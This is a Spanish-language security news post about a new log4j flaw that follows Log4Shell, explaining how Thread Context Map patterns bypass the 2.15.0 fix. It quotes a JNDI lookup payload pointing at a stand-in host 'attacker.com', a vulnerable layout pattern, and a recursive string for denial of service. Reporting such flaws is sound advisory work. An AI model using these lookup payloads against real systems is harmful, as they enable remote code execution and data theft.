Una nueva vulnerabilidad descubierta en log4j vuelve a permitir la ejecución de código arbitrario.
Ya comentabamos en una UAD una grave vulnerabilidad bautizada como Log4Shell o LogJam que permitía la ejecución de código arbitrario en la pop ular biblioteca de Java (CVE-2021-44228).
La versión 2.15.0, publicada el pasado 6 de diciembre, solucionaba el fallo bloqueando las conexiones a infraestructuras remotas (bajo control del atacante) en las búsquedas de mensajes.
Ejemplo:
String attackerData = "${jndi:ldap://attacker.com/a}"; // Búsqueda bloqueda. El payload no se ejecutará por defecto: logger.info("Log string, but no lookup will happen: " + attackerData); Sin embargo, aún existen partes del código en las que el payload se ejecuta, por ejemplo en Thread Context Map:
// Pasamos la cadena de búsqueda con la infraestructura del atacante ThreadContext.put("layout-pattern-value", attackerData); # En este caso, se intentará realizar la búsqueda "${jndi:ldap://attacker.com/a}" appender.console.layout.pattern = ${ctx:layout-pattern-value} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n Esto no parecía especialmente grave, ya que desde la versión 2.15.0 se bloquean las conexiones remotas y la explotación solo sería viable en un entorno local. En el peor de los casos podría generarse una recursión múltiple declarando un payload de esta forma que podría provocar una denegación de servicio.
String attackerData = "${ctx:layout-pattern-value" Sin embargo, investigadores de seguridad han encontrado nuevas formas de saltar estas protecciones, llegando a poder exfiltrar información y ejecutar código remoto bajo ciertas condiciones o a ejecutar código arbitrario en local en cualquier situación.
Por ese motivo se ha elevado la criticidad del nuevo CVE a 9.
La entrada Nuevo RCE en log4j se publicó primero en Una al Día.
☞ El artículo completo original de Francisco Salido lo puedes ver aquí
No hay comentarios.:
Publicar un comentario